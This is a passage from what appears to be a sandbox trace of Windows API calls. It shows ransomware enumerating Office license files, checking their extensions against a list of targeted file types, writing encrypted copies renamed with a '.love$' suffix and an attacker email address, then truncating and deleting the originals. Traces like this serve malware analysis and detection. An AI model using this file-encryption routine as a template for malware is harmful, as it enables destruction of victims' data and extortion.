4 [0258.104] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0258.105] lstrlenW (lpString=".bz2") returned 4 [0258.105] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0258.105] lstrlenW (lpString=".7z") returned 3 [0258.105] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0258.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0258.105] lstrlenW (lpString=".dbf") returned 4 [0258.105] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0258.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0258.105] lstrlenW (lpString=".1cd") returned 4 [0258.105] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0258.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0258.105] lstrlenW (lpString=".jpg") returned 4 [0258.105] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0258.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0258.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0258.105] lstrlenW (lpString=".doc") returned 4 [0258.105] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0258.105] lstrlenW (lpString=".docx") returned 5 [0258.105] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0258.105] lstrlenW (lpString=".pdf") returned 4 [0258.105] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0258.105] lstrlenW (lpString=".xls") returned 4 [0258.105] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0258.105] lstrlenW (lpString=".xlsx") returned 5 [0258.105] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0258.106] lstrlenW (lpString=".ppt") returned 4 [0258.106] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0258.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0258.106] lstrlenW (lpString=".zip") returned 4 [0258.106] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0258.106] lstrlenW (lpString=".rar") returned 4 [0258.106] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0258.106] lstrlenW (lpString=".bz2") returned 4 [0258.106] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0258.106] lstrlenW (lpString=".7z") returned 3 [0258.106] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0258.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0258.106] lstrlenW (lpString=".dbf") returned 4 [0258.106] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0258.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0258.106] lstrlenW (lpString=".1cd") returned 4 [0258.106] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0258.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0258.106] lstrlenW (lpString=".jpg") returned 4 [0258.106] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0258.106] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0258.107] lstrlenW (lpString="ExcelR_OEM_Perp-pl.xrm-ms") returned 25 [0258.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0258.108] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=10635) returned 1 [0258.108] CloseHandle (hObject=0x534) returned 1 [0258.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms")) returned 0x220 [0258.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0258.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0258.109] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.109] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0258.111] GetLastError () returned 0x0 [0258.111] ReadFile (in: hFile=0x534, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x298b, lpOverlapped=0x0) returned 1 [0258.126] WriteFile (in: hFile=0x3f4, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2990, lpOverlapped=0x0) returned 1 [0258.128] ReadFile (in: hFile=0x534, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0258.128] WriteFile (in: hFile=0x3f4, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x106, lpOverlapped=0x0) returned 1 [0258.128] SetEndOfFile (hFile=0x3f4) returned 1 [0258.128] CloseHandle (hObject=0x3f4) returned 1 [0258.129] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.129] SetEndOfFile (hFile=0x534) returned 1 [0258.144] CloseHandle (hObject=0x534) returned 1 [0258.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0258.145] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms")) returned 1 [0258.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0258.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0258.560] lstrlenW (lpString=".doc") returned 4 [0258.560] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0258.560] lstrlenW (lpString=".docx") returned 5 [0258.560] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0258.560] lstrlenW (lpString=".pdf") returned 4 [0258.560] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0258.560] lstrlenW (lpString=".xls") returned 4 [0258.560] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0258.560] lstrlenW (lpString=".xlsx") returned 5 [0258.560] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0258.560] lstrlenW (lpString=".ppt") returned 4 [0258.560] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0258.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0258.560] lstrlenW (lpString=".zip") returned 4 [0258.560] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0258.560] lstrlenW (lpString=".rar") returned 4 [0258.560] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0258.560] lstrlenW (lpString=".bz2") returned 4 [0258.560] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0258.560] lstrlenW (lpString=".7z") returned 3 [0258.561] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0258.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0258.561] lstrlenW (lpString=".dbf") returned 4 [0258.561] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0258.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0258.561] lstrlenW (lpString=".1cd") returned 4 [0258.561] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0258.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0258.561] lstrlenW (lpString=".jpg") returned 4 [0258.561] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0258.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0258.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0258.561] lstrlenW (lpString=".doc") returned 4 [0258.561] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0258.561] lstrlenW (lpString=".docx") returned 5 [0258.561] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0258.561] lstrlenW (lpString=".pdf") returned 4 [0258.561] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0258.561] lstrlenW (lpString=".xls") returned 4 [0258.561] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0258.561] lstrlenW (lpString=".xlsx") returned 5 [0258.561] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0258.561] lstrlenW (lpString=".ppt") returned 4 [0258.561] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0258.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0258.562] lstrlenW (lpString=".zip") returned 4 [0258.562] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0258.562] lstrlenW (lpString=".rar") returned 4 [0258.562] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0258.562] lstrlenW (lpString=".bz2") returned 4 [0258.562] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0258.562] lstrlenW (lpString=".7z") returned 3 [0258.562] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0258.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0258.562] lstrlenW (lpString=".dbf") returned 4 [0258.562] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0258.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0258.562] lstrlenW (lpString=".1cd") returned 4 [0258.562] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0258.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0258.562] lstrlenW (lpString=".jpg") returned 4 [0258.562] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0258.562] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0258.562] lstrlenW (lpString="ExcelR_Trial-pl.xrm-ms") returned 22 [0258.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0258.564] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11139) returned 1 [0258.564] CloseHandle (hObject=0x534) returned 1 [0258.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms")) returned 0x220 [0258.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0258.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0258.566] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.566] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0258.568] GetLastError () returned 0x0 [0258.568] ReadFile (in: hFile=0x534, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2b83, lpOverlapped=0x0) returned 1 [0258.734] WriteFile (in: hFile=0x304, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2b90, lpOverlapped=0x0) returned 1 [0258.736] ReadFile (in: hFile=0x534, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0258.736] WriteFile (in: hFile=0x304, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x100, lpOverlapped=0x0) returned 1 [0258.737] SetEndOfFile (hFile=0x304) returned 1 [0258.737] CloseHandle (hObject=0x304) returned 1 [0258.737] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.737] SetEndOfFile (hFile=0x534) returned 1 [0258.741] CloseHandle (hObject=0x534) returned 1 [0258.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0258.742] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms")) returned 1 [0258.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0258.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0258.747] lstrlenW (lpString=".doc") returned 4 [0258.747] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0258.747] lstrlenW (lpString=".docx") returned 5 [0258.747] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0258.747] lstrlenW (lpString=".pdf") returned 4 [0258.747] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0258.747] lstrlenW (lpString=".xls") returned 4 [0258.747] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0258.747] lstrlenW (lpString=".xlsx") returned 5 [0258.747] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0258.747] lstrlenW (lpString=".ppt") returned 4 [0258.747] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0258.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0258.747] lstrlenW (lpString=".zip") returned 4 [0258.747] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0258.747] lstrlenW (lpString=".rar") returned 4 [0258.747] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0258.748] lstrlenW (lpString=".bz2") returned 4 [0258.748] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0258.748] lstrlenW (lpString=".7z") returned 3 [0258.748] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0258.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0258.748] lstrlenW (lpString=".dbf") returned 4 [0258.748] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0258.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0258.748] lstrlenW (lpString=".1cd") returned 4 [0258.748] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0258.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0258.748] lstrlenW (lpString=".jpg") returned 4 [0258.748] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0258.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0258.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0258.748] lstrlenW (lpString=".doc") returned 4 [0258.749] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0258.749] lstrlenW (lpString=".docx") returned 5 [0258.749] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0258.749] lstrlenW (lpString=".pdf") returned 4 [0258.749] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0258.749] lstrlenW (lpString=".xls") returned 4 [0258.749] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0258.749] lstrlenW (lpString=".xlsx") returned 5 [0258.749] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0258.749] lstrlenW (lpString=".ppt") returned 4 [0258.749] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0258.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0258.749] lstrlenW (lpString=".zip") returned 4 [0258.749] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0258.749] lstrlenW (lpString=".rar") returned 4 [0258.749] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0258.749] lstrlenW (lpString=".bz2") returned 4 [0258.749] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0258.749] lstrlenW (lpString=".7z") returned 3 [0258.749] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0258.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0258.749] lstrlenW (lpString=".dbf") returned 4 [0258.749] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0258.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0258.750] lstrlenW (lpString=".1cd") returned 4 [0258.750] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0258.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0258.750] lstrlenW (lpString=".jpg") returned 4 [0258.750] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0258.750] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0258.750] lstrlenW (lpString="ExcelR_Trial-ul-oob.xrm-ms") returned 26 [0258.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0258.752] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11586) returned 1 [0258.752] CloseHandle (hObject=0x534) returned 1 [0258.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms")) returned 0x220 [0258.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0258.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0258.753] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.753] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0258.759] GetLastError () returned 0x0 [0258.759] ReadFile (in: hFile=0x534, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2d42, lpOverlapped=0x0) returned 1 [0258.766] WriteFile (in: hFile=0x304, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2d50, lpOverlapped=0x0) returned 1 [0258.770] ReadFile (in: hFile=0x534, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0258.770] WriteFile (in: hFile=0x304, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x108, lpOverlapped=0x0) returned 1 [0258.771] SetEndOfFile (hFile=0x304) returned 1 [0258.771] CloseHandle (hObject=0x304) returned 1 [0258.771] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0258.771] SetEndOfFile (hFile=0x534) returned 1 [0258.777] CloseHandle (hObject=0x534) returned 1 [0258.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0258.778] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms")) returned 1 [0258.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0258.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0258.779] lstrlenW (lpString=".doc") returned 4 [0258.779] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0258.780] lstrlenW (lpString=".docx") returned 5 [0258.780] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0258.780] lstrlenW (lpString=".pdf") returned 4 [0258.780] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0258.780] lstrlenW (lpString=".xls") returned 4 [0258.780] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0258.780] lstrlenW (lpString=".xlsx") returned 5 [0258.780] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0258.780] lstrlenW (lpString=".ppt") returned 4 [0258.780] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0258.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0258.780] lstrlenW (lpString=".zip") returned 4 [0258.780] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0258.780] lstrlenW 